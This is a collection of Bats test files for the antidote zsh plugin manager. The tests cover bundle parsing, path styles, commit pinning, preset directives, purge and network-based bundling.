bar/baz" assert_line "kind 2: defer" } @test "parser matrix for annotations" { parser_session <<'EOS' eval "$(echo 'foo/bar branch:main kind:zsh' | bundle_parser)" print "branch: $_parsed_bundles[1,branch]" print "kind: $_parsed_bundles[1,kind]" EOS assert_line "branch: main" assert_line "kind: zsh" } @test "parser tracks lineno through comments and blanks" { parser_session <<'EOS' eval "$(printf '# comment\n\nfoo/bar\n' | bundle_parser)" print "lineno: $_parsed_bundles[1,__lineno__]" EOS assert_line "lineno: 3" } @test "parsed repo matrix rows" { parser_session <<<"echo 'foo/bar' | bundle_parser | print_parsed_bundle" expect '__bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar' } @test "parsed repo matrix rows with escaped path-style" { parser_session <<'EOS' zstyle ':antidote:bundle' path-style escaped echo 'foo/bar' | bundle_parser | print_parsed_bundle EOS expect '__bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar' } @test "parsed path bundle matrix rows" { parser_session <<<"echo '\$ZSH_CUSTOM/foo' | bundle_parser | print_parsed_bundle" expect '__bundle__ : $ZSH_CUSTOM/foo __type__ : path' } @test "parsed jibberish flags errors" { parser_session <<'EOS' echo 'a b c d:e:f' | bundle_parser | print_parsed_bundle echo 'foo bar:baz' | bundle_parser | print_parsed_bundle EOS expect "__bundle__ : a __error__ : error: Expecting 'key:value' form for annotation 'c'. __severity__: error __type__ : using_subplugin d : e:f __bundle__ : foo __error__ : invalid bundle 'foo'. Are you missing a 'using:' directive? __severity__: error __type__ : using_subplugin bar : baz" } @test "parsed matrix with every annotation" { parser_session <<'EOS' echo 'foo/bar branch:baz kind:zsh path:plugins/baz pre:precmd post:"post cmd"' | bundle_parser | print_parsed_bundle EOS expect '__bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar branch : baz kind : zsh path : plugins/baz post : post cmd pre : precmd' } @test "__type__ classification for many bundle forms" { parser_session <<'EOS' val 'foo/bar' __type__ val 'https://github.com/foo/bar' __type__ val 'git@bitbucket.org:foo/bar' __type__ val '$foo/bar' __type__ val '$foo/bar/baz.zsh' __type__ val '~foo/bar' __type__ val '~/foo' __type__ val './foo.zsh' __type__ val '../foo.zsh' __type__ val 'foo/bar/' __type__ val 'foo:bar' __type__ val 'bad@gitsite.com/foo/bar' __type__ val 'http:/badsite.com/foo/bar' __type__ val 'https://gitlab.com/group/subgroup/repo' __type__ val 'https://gist.github.com/abc123def456' __type__ EOS assert_line 'foo/bar [__type__] -> repo' assert_line 'https://github.com/foo/bar [__type__] -> url' assert_line 'git@bitbucket.org:foo/bar [__type__] -> ssh_url' assert_line '$foo/bar [__type__] -> path' assert_line '$foo/bar/baz.zsh [__type__] -> path' assert_line '~foo/bar [__type__] -> path' assert_line '~/foo [__type__] -> path' assert_line './foo.zsh [__type__] -> path' assert_line '../foo.zsh [__type__] -> path' assert_line 'foo/bar/ [__type__] -> ?' assert_line 'foo:bar [__type__] -> ?' assert_line 'bad@gitsite.com/foo/bar [__type__] -> ?' assert_line 'http:/badsite.com/foo/bar [__type__] -> ?' assert_line 'https://gitlab.com/group/subgroup/repo [__type__] -> url' assert_line 'https://gist.github.com/abc123def456 [__type__] -> url' } @test "invalid bundles emit an error" { parser_session <<'EOS' echo 'foobar' | bundle_parser | print_parsed_bundle echo 'foo/bar/baz' | bundle_parser | print_parsed_bundle echo 'foo/bar/' | bundle_parser | print_parsed_bundle EOS expect "__bundle__ : foobar __error__ : invalid bundle 'foobar'. Are you missing a 'using:' directive? __severity__: error __type__ : using_subplugin __bundle__ : foo/bar/baz __error__ : invalid bundle 'foo/bar/baz' __severity__: error __type__ : ? __bundle__ : foo/bar/ __error__ : invalid bundle 'foo/bar/' __severity__: error __type__ : ?" } @test "__url__ values" { parser_session <<'EOS' val 'foo/bar' __url__ val 'https://github.com/foo/bar' __url__ val 'git@bitbucket.org:foo/bar' __url__ val '$foo/bar' __url__ val 'bad@gitsite.com/foo/bar' __url__ val 'https://gitlab.com/group/subgroup/repo' __url__ val 'https://gist.github.com/abc123def456' __url__ EOS assert_line 'foo/bar [__url__] -> https://fakegitsite.com/foo/bar' assert_line 'https://github.com/foo/bar [__url__] -> https://github.com/foo/bar' assert_line 'git@bitbucket.org:foo/bar [__url__] -> git@bitbucket.org:foo/bar' assert_line '$foo/bar [__url__] -> ' assert_line 'bad@gitsite.com/foo/bar [__url__] -> ' assert_line 'https://gitlab.com/group/subgroup/repo [__url__] -> https://gitlab.com/group/subgroup/repo' assert_line 'https://gist.github.com/abc123def456 [__url__] -> https://gist.github.com/abc123def456' } @test "__bundle__ preserves the original bundle text" { parser_session <<'EOS' for b in 'foo/bar' 'https://github.com/foo/bar' 'git@bitbucket.org:foo/bar' \ '$foo/bar' '$foo/bar/baz.zsh' '~foo/bar' '~/foo' './foo.zsh' \ '../foo.zsh' 'foo/bar/' 'foo:bar' 'bad@gitsite.com/foo/bar' \ 'http:/typo.com/foo/bar' 'https://gitlab.com/group/subgroup/repo' \ 'https://gist.github.com/abc123def456'; do val "$b" __bundle__ done EOS assert_line 'foo/bar [__bundle__] -> foo/bar' assert_line 'https://github.com/foo/bar [__bundle__] -> https://github.com/foo/bar' assert_line 'git@bitbucket.org:foo/bar [__bundle__] -> git@bitbucket.org:foo/bar' assert_line '$foo/bar [__bundle__] -> $foo/bar' assert_line '$foo/bar/baz.zsh [__bundle__] -> $foo/bar/baz.zsh' assert_line '~foo/bar [__bundle__] -> ~foo/bar' assert_line '~/foo [__bundle__] -> ~/foo' assert_line './foo.zsh [__bundle__] -> ./foo.zsh' assert_line '../foo.zsh [__bundle__] -> ../foo.zsh' assert_line 'foo/bar/ [__bundle__] -> foo/bar/' assert_line 'foo:bar [__bundle__] -> foo:bar' assert_line 'bad@gitsite.com/foo/bar [__bundle__] -> bad@gitsite.com/foo/bar' assert_line 'http:/typo.com/foo/bar [__bundle__] -> http:/typo.com/foo/bar' assert_line 'https://gitlab.com/group/subgroup/repo [__bundle__] -> https://gitlab.com/group/subgroup/repo' assert_line 'https://gist.github.com/abc123def456 [__bundle__] -> https://gist.github.com/abc123def456' } @test "pin annotation is parsed" { parser_session <<<"echo 'foo/bar pin:abc123' | bundle_parser | print_parsed_bundle" expect '__bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar pin : abc123' } @test "pin with kind:clone" { parser_session <<'EOS' echo 'foo/bar kind:clone pin:64642c5691051ba0d82f5bda60b745f6fd042325' | bundle_parser | print_parsed_bundle EOS expect '__bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar kind : clone pin : 64642c5691051ba0d82f5bda60b745f6fd042325' } @test "ssh url parsing" { parser_session <<'EOS' val 'git@bitbucket.org:foo/bar.git' __type__ val 'git@bitbucket.org:foo/bar.git' __bundle__ val 'git@bitbucket.org:foo/bar' __short__ val 'git@bitbucket.org:foo/bar.git' __short__ EOS assert_line 'git@bitbucket.org:foo/bar.git [__type__] -> ssh_url' assert_line 'git@bitbucket.org:foo/bar.git [__bundle__] -> git@bitbucket.org:foo/bar.git' assert_line 'git@bitbucket.org:foo/bar [__short__] -> git@bitbucket.org:foo/bar' assert_line 'git@bitbucket.org:foo/bar.git [__short__] -> git@bitbucket.org:foo/bar' } @test "ssh url __dir__" { parser_session <<<"echo 'git@fakegitsite.com:foo/qux' | bundle_parser | print_parsed_bundle" expect '__bundle__ : git@fakegitsite.com:foo/qux __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/qux __short__ : git@fakegitsite.com:foo/qux __type__ : ssh_url __url__ : git@fakegitsite.com:foo/qux' } @test "conditional, autoload, and fpath-rule annotations" { parser_session <<'EOS' val 'foo/bar conditional:is-macos' conditional val 'foo/bar autoload:functions' autoload val 'foo/bar fpath-rule:prepend' fpath-rule EOS assert_line 'foo/bar conditional:is-macos [conditional] -> is-macos' assert_line 'foo/bar autoload:functions [autoload] -> functions' assert_line 'foo/bar fpath-rule:prepend [fpath-rule] -> prepend' } @test "multiline input parses all bundles" { parser_session <<'EOS' printf 'foo/bar\nbar/baz kind:clone\n' | bundle_parser | bundle_val __bundle__ printf 'foo/bar\nbar/baz kind:clone\n' | bundle_parser | bundle_val kind printf '# comment\n\nfoo/bar\n' | bundle_parser | bundle_val __lineno__ EOS expect 'foo/bar bar/baz clone 3' } mattmc3-antidote-9bb69ab/tests/bats/path.bats000066400000000000000000000016471523541175400213100ustar00rootroot00000000000000#!/usr/bin/env bats # antidote path tests load helpers/common setup() { antidote_common_setup antidote_test_home antidote_clone_fixtures } @test "path prints the path to a bundle" { run antidote path foo/bar assert_success assert_output "$AHOME/fakegitsite.com/foo/bar" } @test "path fails on missing bundles" { run antidote path bar/foo assert_failure 1 assert_output "antidote: error: bar/foo does not exist in cloned paths" } @test "path accepts piped input from list" { output=$(antidote list | antidote path | sort) expect "$AHOME/fakegitsite.com/bar/baz $AHOME/fakegitsite.com/foo/bar $AHOME/fakegitsite.com/foo/baz $AHOME/fakegitsite.com/foo/qux $AHOME/fakegitsite.com/getantidote/zsh-defer $AHOME/fakegitsite.com/ohmy/ohmy" } @test "path expands vars" { EXTRA_ENV="ZSH_CUSTOM=$ZDOTDIR/custom" run antidote path '$ZSH_CUSTOM/plugins/myplugin' assert_output "$ZDOTDIR/custom/plugins/myplugin" } mattmc3-antidote-9bb69ab/tests/bats/path_style_migration.bats000066400000000000000000000113141523541175400245710ustar00rootroot00000000000000#!/usr/bin/env bats # Path-style migration tests. # When upgrading from v1 (escaped path-style) to v2 (full path-style), # existing clones should be reused rather than duplicated. See #245. load helpers/common setup() { antidote_common_setup; } migration_session() { SESSION_PRELUDE='function bundle_dir() { antidote __private__ bundle_dir "$@"; } function bundle_dir_cleanup() { antidote __private__ bundle_dir_cleanup "$@"; }' \ run_session } # If a clone already exists under a different path-style, bundle_dir # returns it instead of computing a new path. @test "bundle_dir reuses an escaped-style clone" { migration_session <<'EOS' command mkdir -p $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar/.git zstyle ':antidote:bundle' path-style full bundle_dir foo/bar | subenv ANTIDOTE_HOME clone_dirs EOS expect '$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar' } @test "bundle_dir reuses a short-style clone" { migration_session <<'EOS' command mkdir -p $ANTIDOTE_HOME/foo/bar/.git zstyle ':antidote:bundle' path-style full bundle_dir foo/bar | subenv ANTIDOTE_HOME clone_dirs EOS expect '$ANTIDOTE_HOME/foo/bar foo/bar' } @test "bundle_dir reuses an escaped-style ssh clone" { migration_session <<'EOS' command mkdir -p $ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux/.git zstyle ':antidote:bundle' path-style full bundle_dir git@fakegitsite.com:foo/qux | subenv ANTIDOTE_HOME clone_dirs EOS expect '$ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux git-AT-fakegitsite.com-COLON-foo-SLASH-qux' } # bundle_dir itself has no side effects; bundle_dir_cleanup removes # legacy dupes when the preferred path exists. @test "bundle_dir_cleanup removes a legacy escaped duplicate" { migration_session <<'EOS' command mkdir -p \ $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar/.git \ $ANTIDOTE_HOME/fakegitsite.com/foo/bar/.git zstyle ':antidote:bundle' path-style full bundle_dir foo/bar | subenv ANTIDOTE_HOME clone_dirs bundle_dir_cleanup foo/bar clone_dirs EOS expect '$ANTIDOTE_HOME/fakegitsite.com/foo/bar fakegitsite.com/foo/bar https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar fakegitsite.com/foo/bar' } @test "bundle_dir_cleanup removes every legacy style at once" { migration_session <<'EOS' command mkdir -p \ $ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar/.git \ $ANTIDOTE_HOME/foo/bar/.git \ $ANTIDOTE_HOME/fakegitsite.com/foo/bar/.git zstyle ':antidote:bundle' path-style full bundle_dir_cleanup foo/bar clone_dirs EOS expect 'fakegitsite.com/foo/bar' } # When no clone exists under any style, the current path-style is used. @test "new clones use the current path-style" { migration_session <<'EOS' zstyle ':antidote:bundle' path-style full bundle_dir foo/bar | subenv ANTIDOTE_HOME zstyle ':antidote:bundle' path-style short bundle_dir foo/bar | subenv ANTIDOTE_HOME zstyle ':antidote:bundle' path-style escaped bundle_dir foo/bar | subenv ANTIDOTE_HOME EOS assert_line --index 0 '$ANTIDOTE_HOME/fakegitsite.com/foo/bar' assert_line --index 1 '$ANTIDOTE_HOME/foo/bar' assert_line --index 2 '$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar' [ "${#lines[@]}" -eq 3 ] } # Simulate a v1 user upgrading to v2 - antidote list should not show # dupes, and each direction of style switch reuses the original clone. @test "list shows no dupes after an escaped-to-full switch" { migration_session <<'EOS' zstyle ':antidote:bundle' path-style escaped antidote bundle foo/bar &>/dev/null antidote bundle bar/baz &>/dev/null zstyle ':antidote:bundle' path-style full antidote bundle foo/bar &>/dev/null antidote bundle bar/baz &>/dev/null antidote list | wc -l | awk '{print $1}' EOS assert_output "2" } @test "full re-bundle reuses a short-style clone" { migration_session <<'EOS' zstyle ':antidote:bundle' path-style short antidote bundle foo/bar &>/dev/null clone_dirs zstyle ':antidote:bundle' path-style full antidote bundle foo/bar &>/dev/null clone_dirs EOS expect 'foo/bar foo/bar' } @test "escaped re-bundle reuses a full-style clone" { migration_session <<'EOS' zstyle ':antidote:bundle' path-style full antidote bundle foo/bar &>/dev/null clone_dirs zstyle ':antidote:bundle' path-style escaped antidote bundle foo/bar &>/dev/null clone_dirs EOS expect 'fakegitsite.com/foo/bar fakegitsite.com/foo/bar' } @test "short re-bundle reuses a full-style clone" { migration_session <<'EOS' zstyle ':antidote:bundle' path-style full antidote bundle foo/bar &>/dev/null zstyle ':antidote:bundle' path-style short antidote bundle foo/bar &>/dev/null clone_dirs EOS expect 'fakegitsite.com/foo/bar' } mattmc3-antidote-9bb69ab/tests/bats/pin.bats000066400000000000000000000151331523541175400211350ustar00rootroot00000000000000#!/usr/bin/env bats # antidote pin annotation tests. # # The pintest/pinme fixture has three commits: # - v1.0.0 - initial good version # - v1.1.0 - minor update, also good # - v1.2.0 - bad supply chain commit (HEAD) # Pinning lets users lock to a known-good commit and avoid the bad HEAD. load helpers/common setup() { antidote_common_setup antidote_test_home ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash off" PINDIR="$AHOME/fakegitsite.com/pintest/pinme" } check_critical() { printf '%s\n' "$@" | antidote __private__ bundle_check_critical 2>&1 } @test "clone with pin checks out the pinned SHA detached" { antidote bundle "pintest/pinme pin:$PIN_V100" >/dev/null run git -C "$PINDIR" rev-parse HEAD assert_output "$PIN_V100" run git -C "$PINDIR" rev-parse --abbrev-ref HEAD assert_output "HEAD" } @test "clone with pin records the pin in git config" { antidote bundle "pintest/pinme pin:$PIN_V100" >/dev/null run git -C "$PINDIR" config --get antidote.pin assert_output "$PIN_V100" } # Output paths print with a literal '$HOME' prefix (print_path). @test "pinned bundle generates the normal source script" { antidote bundle "pintest/pinme pin:$PIN_V100" &>/dev/null run antidote __private__ zsh_script __bundle__ pintest/pinme pin "$PIN_V100" expect 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/pintest/pinme" ) source "$HOME/.cache/antidote/fakegitsite.com/pintest/pinme/pinme.plugin.zsh"' } @test "update skips pinned bundles" { antidote bundle "pintest/pinme pin:$PIN_V100" >/dev/null run antidote update -n assert_output --partial "skipping update for pinned bundle: pintest/pinme (at 64642c5...)" } @test "re-bundling with a new pin advances the checkout" { antidote bundle "pintest/pinme pin:$PIN_V100" >/dev/null antidote bundle "pintest/pinme pin:$PIN_V110" >/dev/null run git -C "$PINDIR" rev-parse HEAD assert_output "$PIN_V110" run git -C "$PINDIR" config --get antidote.pin assert_output "$PIN_V110" } @test "removing the pin clears git config and returns to a branch" { antidote bundle "pintest/pinme pin:$PIN_V110" >/dev/null antidote bundle 'pintest/pinme' >/dev/null run git -C "$PINDIR" config --get antidote.pin assert_failure 1 run git -C "$PINDIR" rev-parse --abbrev-ref HEAD assert_output "main" } @test "after unpinning, update pulls to the latest commit" { antidote bundle "pintest/pinme pin:$PIN_V110" >/dev/null antidote bundle 'pintest/pinme' >/dev/null antidote update &>/dev/null run git -C "$PINDIR" rev-parse HEAD assert_output "$PIN_V120" } @test "re-adding a pin re-checks out and records it" { antidote bundle 'pintest/pinme' >/dev/null antidote bundle "pintest/pinme pin:$PIN_V100" >/dev/null run git -C "$PINDIR" config --get antidote.pin assert_output "$PIN_V100" run git -C "$PINDIR" rev-parse --abbrev-ref HEAD assert_output "HEAD" } # Short SHAs are rejected because the git protocol cannot resolve them # on remotes. @test "short SHA is rejected" { run antidote bundle 'pintest/pinme pin:64642c5' assert_failure assert_output --partial "pin requires a full 40-character commit SHA, got '64642c5'" } @test "list --long shows the pin" { antidote bundle "pintest/pinme pin:$PIN_V110" &>/dev/null run antidote list --long assert_output --partial "Pinned: $PIN_V110" } @test "list --jsonl includes the pin field" { antidote bundle "pintest/pinme pin:$PIN_V110" &>/dev/null run antidote list --jsonl assert_output --partial "\"pin\":\"$PIN_V110\"" } @test "kind:clone pins move forward and backward" { antidote bundle "pintest/pinme kind:clone pin:$PIN_V100" &>/dev/null antidote bundle "pintest/pinme kind:clone pin:$PIN_V120" >/dev/null run git -C "$PINDIR" rev-parse HEAD assert_output "$PIN_V120" antidote bundle "pintest/pinme kind:clone pin:$PIN_V100" >/dev/null run git -C "$PINDIR" rev-parse HEAD assert_output "$PIN_V100" } # Tags work with branch: the same as branch names. @test "branch annotation accepts a tag" { antidote bundle 'pintest/pinme branch:v1.0.0' &>/dev/null run git -C "$PINDIR" rev-parse HEAD assert_output "$PIN_V100" } # A tag clone fetches only that tag, so it has no remote-tracking branch # and nothing to update to. Leave it alone rather than failing. @test "update leaves a branch:tag bundle where it is" { antidote bundle 'pintest/pinme branch:v1.0.0' &>/dev/null run antidote update assert_success refute_output --partial "update failed" run git -C "$PINDIR" rev-parse HEAD assert_output "$PIN_V100" } @test "pin with an unknown SHA fails and cleans up the clone" { run antidote __private__ zsh_script __bundle__ pintest/pinme kind clone pin deadbeefdeadbeefdeadbeefdeadbeefdeadbeef assert_failure assert_output --partial "pin commit 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeef' not found for pintest/pinme" [ ! -d "$PINDIR" ] } @test "pin with a non-SHA value is rejected without cloning" { run antidote __private__ zsh_script __bundle__ pintest/pinme kind clone pin v99.0.0 assert_failure assert_output --partial "pin requires a full 40-character commit SHA, got 'v99.0.0'" [ ! -d "$PINDIR" ] } @test "conflicting pins are a critical error" { run check_critical 'pintest/pinme pin:aaa' 'pintest/pinme pin:bbb' assert_failure assert_output "# antidote: critical error on line 2: conflicting pin for 'pintest/pinme': pin:bbb vs pin:aaa" } @test "conflicting branches are a critical error" { run check_critical 'foo/bar branch:main' 'foo/bar branch:dev' assert_failure assert_output "# antidote: critical error on line 2: conflicting branch for 'foo/bar': branch:dev vs branch:main" } @test "mixed pin/no-pin for the same repo is a critical error" { run check_critical 'pintest/pinme pin:aaa' 'pintest/pinme path:lib' assert_failure assert_output "# antidote: critical error on line 2: inconsistent pin for 'pintest/pinme': some entries have pin:aaa, others do not" } @test "mixed branch/no-branch for the same repo is a critical error" { run check_critical 'foo/bar branch:dev' 'foo/bar path:lib' assert_failure assert_output "# antidote: critical error on line 2: inconsistent branch for 'foo/bar': some entries have branch:dev, others do not" } @test "identical pins and unrelated pins are fine" { run check_critical 'pintest/pinme pin:aaa' 'pintest/pinme pin:aaa path:lib' assert_success run check_critical 'foo/bar pin:aaa' 'pintest/pinme pin:bbb' assert_success } @test "bundling with conflicting pins fails end-to-end" { run antidote bundle "pintest/pinme pin:aaa path:lib pintest/pinme pin:bbb path:other" assert_failure assert_output --partial "conflicting pin for 'pintest/pinme': pin:bbb vs pin:aaa" } mattmc3-antidote-9bb69ab/tests/bats/preset_directive.bats000066400000000000000000000134501523541175400237070ustar00rootroot00000000000000#!/usr/bin/env bats # antidote preset: directive tests. # preset: sets fallback annotations for every later entry of that # repo, so pin: and branch: need not be repeated on each line. load helpers/common setup_file() { antidote_fixture_proto; } setup() { antidote_common_setup antidote_test_home_cached } # Emit the _parsed_bundles matrix as stable "row,key=value" lines, so # annotations that never reach the static file can be asserted. typeset -p # formats associative arrays differently across zsh versions, so normalize # rather than matching its output. parse() { local serialized serialized=$(antidote __private__ bundle_parser_serialize "$@") run zsh -fc 'eval "$1" for k in ${(ok)_parsed_bundles}; do print -r -- "$k=${_parsed_bundles[$k]}"; done' \ zsh "$serialized" } PIN=4f8a1c2b9e7d3a6f5c0b8e2d7a9f4c1b6e3d8a52 ##### inheritance @test "preset: supplies pin to a later line of the same repo" { parse </dev/null) viapreset=$(antidote bundle 2>/dev/null </dev/null antidote __private__ bundle_parser_serialize <<<'foo/bar' | sed -n 's/.*branch[]= ]*\([a-z]*\).*/branch: \1/p' EOS assert_line "branch: frompreset" } mattmc3-antidote-9bb69ab/tests/bats/purge.bats000066400000000000000000000045661523541175400215010ustar00rootroot00000000000000#!/usr/bin/env bats # antidote purge tests load helpers/common setup() { antidote_common_setup antidote_test_home antidote_clone_fixtures } @test "purge requires a bundle argument" { run antidote purge assert_failure 1 assert_output "antidote: error: required argument 'bundle' not provided, try --help" } @test "purging a missing bundle fails" { run antidote purge bar/foo assert_failure 1 assert_output "antidote: error: bar/foo does not exist at the expected location: $AHOME/fakegitsite.com/bar/foo" } @test "purge removes the bundle directory" { [ -d "$AHOME/fakegitsite.com/foo/bar" ] run antidote purge foo/bar assert_output --partial "Removed 'foo/bar'." [ ! -d "$AHOME/fakegitsite.com/foo/bar" ] } @test "purge comments out the bundle in the plugins file" { run antidote purge foo/bar assert_output --partial "Bundle 'foo/bar' was commented out in '$ZDOTDIR/.zsh_plugins.txt'." run diff "$ZDOTDIR/.zsh_plugins.txt" "$PRJDIR/tests/testdata/.zsh_plugins_purged.txt" assert_success } # A bundle whose name extends the purged one (foo/barbaz vs foo/bar) # must not get commented out too. @test "purge only comments out exact bundle matches" { echo 'foo/barbaz kind:clone' >>"$ZDOTDIR/.zsh_plugins.txt" run antidote purge foo/bar assert_output --partial "Bundle 'foo/bar' was commented out" run grep '^foo/barbaz' "$ZDOTDIR/.zsh_plugins.txt" assert_output 'foo/barbaz kind:clone' } @test "purging a local path is not allowed" { run antidote purge "$AHOME" assert_failure 2 assert_output "antidote: error: '$AHOME' is not a repo and cannot be removed by antidote." } # When no bundlefile exists, purge still removes the bundle but doesn't # mention commenting anything out. @test "purge without a bundlefile still removes the bundle" { ZSTYLES="zstyle ':antidote:bundle' file /no/such/.zsh_plugins.txt" run antidote purge foo/baz assert_output "Removed 'foo/baz'." } @test "purge --all aborts when told no" { ZSTYLES="zstyle ':antidote:test:purge' answer 'n'" run antidote purge --all assert_failure 1 run antidote list --url assert_output --partial foo/bar assert_output --partial ohmy/ohmy } @test "purge --all removes everything when told yes" { ZSTYLES="zstyle ':antidote:test:purge' answer 'y'" run antidote purge --all assert_output --partial "Antidote purge complete. Be sure to start a new Zsh session." [ ! -e "$AHOME" ] } mattmc3-antidote-9bb69ab/tests/bats/real/000077500000000000000000000000001523541175400204145ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bats/real/real.bats000066400000000000000000000102251523541175400222120ustar00rootroot00000000000000#!/usr/bin/env bats # Real-world antidote tests. These hit real GitHub repos over the # network. Run via `just test-real`, never part of the unit suite. load ../helpers/common setup() { antidote_common_setup SESSION_SETUP=t_setup_real # Bundle the real plugins file once per session; most tests act on # the resulting clones. SESSION_PRELUDE='zstyle ":antidote:bundle:*" zcompile "yes" zstyle ":antidote:test:version" show-sha off zstyle ":antidote:test:git" autostash off antidote bundle <$T_TESTDATA/.zsh_plugins.txt >$ZDOTDIR/.zsh_plugins.zsh 2>/dev/null' } @test "bundle generates the golden script from real repos" { run_session <<<'cat $ZDOTDIR/.zsh_plugins.zsh | subenv ANTIDOTE_HOME' expect "$(cat "$PRJDIR/tests/testdata/real/.zsh_plugins.zsh")" } @test "bundle clones the full golden repo list" { run_session <<<'antidote list --url | sort' expect "$(cat "$PRJDIR/tests/testdata/real/repo-list.txt")" } @test "zcompile compiles bundles and update recompiles them" { run_session <<'EOS' ls $(antidote home)/**/*.zwc(N) | wc -l | tr -d ' ' rm -rf -- $(antidote home)/**/*.zwc(N) antidote update &>/dev/null ls $(antidote home)/**/*.zwc(N) | wc -l | tr -d ' ' EOS [ "${lines[0]}" -gt 50 ] [ "${lines[1]}" -gt 50 ] } @test "branch annotations check out the requested branch" { run_session <<<'git -C "$ANTIDOTE_HOME/mattmc3/antidote" rev-parse --abbrev-ref HEAD 2>/dev/null' assert_output "v1" } @test "purge --all aborts when told no" { SESSION_PRELUDE="$SESSION_PRELUDE zstyle ':antidote:test:purge' answer 'n'" run_session <<'EOS' antidote purge --all >/dev/null; echo "purge exit: $?" echo "bundles remaining: $(antidote list | wc -l | tr -d ' ')" EOS assert_line "purge exit: 1" assert_line "bundles remaining: 15" } @test "purge --all removes everything when told yes" { SESSION_PRELUDE="$SESSION_PRELUDE zstyle ':antidote:test:purge' answer 'y'" run_session <<'EOS' antidote purge --all | tail -n 1 echo "bundles remaining: $(antidote list 2>/dev/null | wc -l | tr -d ' ')" [[ ! -e $ZDOTDIR/.zsh_plugins.zsh ]] && echo "static file gone" bak=($ZDOTDIR/.zsh_plugins.*.bak(N)) && (( $#bak )) && echo "backup created" EOS assert_line "Antidote purge complete. Be sure to start a new Zsh session." assert_line "bundles remaining: 0" assert_line "static file gone" assert_line "backup created" } # Bundle files with CRLF line endings parse correctly. @test "bundle a CRLF plugins file" { SESSION_PRELUDE="" run_session <<<'antidote bundle <$T_TESTDATA/.zsh_plugins.crlf.txt 2>/dev/null | subenv ANTIDOTE_HOME' expected=$(cat <<'EOF' fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting" ) source "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting/zsh-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-completions" ) source "$ANTIDOTE_HOME/zsh-users/zsh-completions/zsh-completions.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions" ) source "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search" ) source "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search/zsh-history-substring-search.plugin.zsh" EOF ) expect "$expected" } @test "load clones and sources a real plugin" { SESSION_PRELUDE='echo "rupa/z" > $ZDOTDIR/.zsh_plugins.txt' run_session <<'EOS' antidote load 2>&1 echo "z alias defined: $+aliases[z]" EOS assert_line --index 0 "# antidote cloning rupa/z..." assert_line --index 1 "z alias defined: 1" } @test "load regenerates the static file when the plugins file changes" { SESSION_PRELUDE='echo "rupa/z" > $ZDOTDIR/.zsh_plugins.txt antidote load &>/dev/null echo "zsh-users/zsh-completions path:src kind:fpath" >> $ZDOTDIR/.zsh_plugins.txt' run_session <<'EOS' antidote load 2>&1 cat $ZDOTDIR/.zsh_plugins.zsh | subenv ANTIDOTE_HOME (( $fpath[(Ie)$ANTIDOTE_HOME/zsh-users/zsh-completions/src] )) && echo "completions in fpath" EOS expect '# antidote cloning zsh-users/zsh-completions... fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-completions/src" ) completions in fpath' } mattmc3-antidote-9bb69ab/tests/bats/real/real_gist.bats000066400000000000000000000015301523541175400232370ustar00rootroot00000000000000#!/usr/bin/env bats # Real gist bundle tests. # Network test. Run via `just test-real`. load ../helpers/common setup() { antidote_common_setup SESSION_SETUP=t_setup_real } # Gist URLs have a single path segment (no user/repo), and should be # treated as valid URL bundles. @test "bundle, path, and list a gist URL" { run_session <<'EOS' antidote bundle https://gist.github.com/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c.git 2>&1 | head -1 antidote path https://gist.github.com/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c.git | subenv ANTIDOTE_HOME antidote list --url | grep gist EOS assert_line --index 0 "# antidote cloning mattmc3/6bc5646ae0fb7cc86502933ca6661d5c..." assert_line --index 1 '$ANTIDOTE_HOME/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c' assert_line --index 2 "https://gist.github.com/mattmc3/6bc5646ae0fb7cc86502933ca6661d5c.git" } mattmc3-antidote-9bb69ab/tests/bats/real/real_snapshots.bats000066400000000000000000000053531523541175400243220ustar00rootroot00000000000000#!/usr/bin/env bats # Real snapshot tests (network, run via `just test-real`). # # Unit tests (tests/bats/snapshot.bats) cover snapshot 